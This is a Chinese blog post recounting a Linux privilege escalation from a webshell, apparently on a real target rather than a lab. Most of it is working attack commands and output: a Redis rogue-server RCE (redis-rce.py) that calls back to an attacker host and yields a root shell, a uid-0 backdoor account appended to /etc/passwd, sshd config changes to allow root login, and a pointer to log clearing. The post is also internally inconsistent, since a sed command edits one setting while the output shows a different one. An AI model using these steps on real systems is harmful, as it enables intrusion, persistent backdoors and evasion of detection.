QQ love member No. 3 seed player

know it then do it && APT086&QQ愛安全实验室成员

记一次linux提权

23 Oct 2019 » 提权

[TOC]

记一次linux提权

PS:

webshell 机器:192.168.1.1

攻击者机器:10.10.10.10

好久没更新了,这次提权学到了一些东西,所以记录一下。

正文

拿到一个webshell 发现几乎没有任何可修改的权限,但是却可以查看 root 根目录文件 RT:

linux1

针对于linux提权印象中无非就是查看内核版本,操作名等等寻找相应的 exp 进行提权,以下是搜索exp的网址:

https://www.exploit-db.com/

https://packetstormsecurity.com/

http://www.google.com/

这个环节搞了半天尝试了很多 exp 均失败,然后gg了,百度找到了这篇文章 《在Linux上通过可写文件获取root权限的多种方式》

想着去尝试下就用冰蝎连接获取到一个虚拟终端然后执行:

$ find / -writable -type  f 2>/dev/null | grep -v "/proc/"

linux2

然后寻找root用户的文件及777的权限,结果还真找到一个(开心的飞了起来)路径如下:

$ ls -alh /sync/

/sync/madeindemo_url_yi1.sql
-rwxrwxrwx   1 root root  176 Oct 22 08:11 madeindemo_url_yi1.sql

OMG, 然后我将此文件改为了一个 shell 文件用来反弹一个root 的shell 然后发现是不行的,然后看群里表哥提醒说直接添加个用户尝试了一遍,发现权限被拒绝,因为必须要使用root用户来执行此文件,执行命令 chmod u+s madeindemo_url_yi1.sql 权限还是被拒绝 wtf。

文章中对方可以利用成功是因为有root用户的计划任务来执行文件,然后尝试着看下是否存在计划任务 ,如下:

$ crontab -l
no crontab for www

$ crontab -l -u root
must be privileged to use -u

…. 这里沉思了半天,不要问我为什么你都查看了 /etc/shadow 文件不跑下密码吗??

我不想,几率太小了,还有那是万不得已的办法,然后查看了下当前的服务,如下:

$  ps -ewwf

回显如图:

linux4

是的就是 redis 服务,而且还是root权限运行的 … emmm 心情再次激动了起来。

然后在攻击机器(10.10.10.10) 下载了一个redis 来测试是否为未授权。

执行命令 RT:

[root@/]# redis-cli -h 192.168.1.1 -p 6379 
192.168.1.1:6379> 

突然想到了之前复现过的一个 redis-rce 详细传送门 这里就不细讲了,然后执行如下:

[root@redis-rce]# python redis-rce.py -r 192.168.1.1 -p 6379 -L 10.10.10.10 -f ./exp_lin.so

[*] Connecting to  192.168.1.1:6379...
[-] Need password.
[root@redis-rce]# 

这个确实不是很懂,为什么突然需要密码了。。。 没办法索性当前的权限可以查看 redis 的配置文件,在低权限的终端执行 如下:

$ find /* | grep redis.conf 
find: `/var/lib/certmonger/local': Permission denied
find: `/var/lib/certmonger/cas': Permission denied
find: `/var/lib/certmonger/requests': Permission denied
find: `/var/lib/pulse': Permission denied
find: `/var/log/gdm': Permission denied
find: `/var/log/ppp': Permission denied
find: `/var/log/samba': Permission denied
find: `/var/log/audit': Permission denied
find: `/var/log/sssd': Permission denied
find: `/var/empty/sshd': Permission denied
/usr/local/redis/conf
/usr/local/redis/conf/redis.conf
.......省去一大堆无用的东西

$ ls -alh /usr/local/redis/conf/
total 72K
drwxrwxr-x 2 root root 4.0K Jun 20 15:00 .
drwxrwxr-x 4 root root 4.0K Nov 15  2018 ..
-rwxrwxr-x 1 root root  61K Nov 15  2018 redis.conf

redis.conf 允许读取,因此直接查看执行如下命令:

$ cat /usr/local/redis/conf/redis.conf | grep requirepass
# If the master is password protected (using the "requirepass" configuration
 requirepass redis#fxxxxx

redis#fxxxxx 即是redis的密码,接下来验证即可

在攻击机( 10.10.10.10 ) 再次连接被攻击机的 redis 如下:

[root@/]# redis-cli -h 192.168.1.1 -p 6379 
192.168.1.1:6379> auth redis#fxxxxx
OK
192.168.1.1:6379> 

验证成功这里继续测试 redis-rce 。

参考Redis 密码设置和查看密码

攻击机(10.10.10.10)执行

[root@redis-rce]# python redis-rce.py -r 192.168.1.1 -p 6379 -L 10.10.10.10 -f ./exp_lin.so -a redis#fxxxxx

[*] Connecting to  192.168.1.1:6379...
[*] Sending SLAVEOF command to server
[+] Accepted connection from 192.168.1.1:6379
[*] Setting filename
[+] Accepted connection from 192.168.1.1:6379
[*] Start listening on 10.10.10.10:21000
[*] Tring to run payload
[+] Accepted connection from 192.168.1.1:41137
[*] Closing rogue server...

[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$ 

至此拿到了 root 权限,接下来添加了一个超级用户,执行如下:

$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$ echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

为mx7krshell用户添加了密码,因为ssh大多数都会配置不允许空密码登陆。

这里利用NC反弹了一下shell 这样会更好操作一点,如下:

[root@~]# sudo passwd mx7krshell
[root@~]# sudo passwd mx7krshell
Changing password for user mx7krshell.
New password: mx7krshell321
BAD PASSWORD: The password contains the user name in some form
Retype new password: mx7krshell321
passwd: all authentication tokens updated successfully.
[root@~]# 

然后在攻击机(10.10.10.10) 尝试root 用户连接 ssh 服务

[root@/]# ssh mx7krshell@192.168.1.1
ssh: connect to host 192.168.1.1 port 22: Connection refused

连接拒绝?赶紧查看了下ssh服务端口及配置文件

$ ps -ewwf | grep ssh
root      50137   1715  0 01:30 ?        00:00:00 sh -c ps -ewwf | grep ssh
root      50139  50137  0 01:30 ?        00:00:00 grep ssh
root     129729      1  0 Oct22 ?        00:00:00 /usr/sbin/sshd
$ /etc/init.d/sshd status
openssh-daemon (pid  129729) is running...
$ cat /etc/ssh/sshd_config | grep Port
Port 53026
#GatewayPorts no
$ 

端口被改成了 53026 于是继续连接发现连接还是被拒绝 … 继续查看配置文件如下:

$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin no
# the setting of "PermitRootLogin without-password".

发现不允许 root 用户使用 ssh 登陆…

执行命令将no 修改为yes来允许root用户登陆,如下

$ sed -i 's/PermitEmptyPasswords no/PermitEmptyPasswords yes/g' /etc/ssh/sshd_config
$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin yes

修改成功之后重启 sshd 服务,如下:

$ /etc/initd.d/sshd restart
$ /etc/initd.d/sshd status
$ service ssh status
$ /etc/initd.d/ssh status
$ /etc/init.d/sshd status
openssh-daemon (pid  2279) is running...
$ /etc/init.d/sshd reexittart
Stopping sshd:                                             [  OK  ]
Starting sshd:                                             [  OK  ]
$
$

参考linux下开启SSH,并且允许root用户远程登录,允许无密码登录

在攻击机(10.10.10.10)执行

ssh mx7krshell@192.168.1.1 -p 53026
连接成功。

日志清除参考

总结:

感觉学到了挺多东西的,不要去怕一件事物,多尝试几遍就不再去怕它了。

「 转载请声明博客地址及APT086&QQ愛安全实验室 」

Related Posts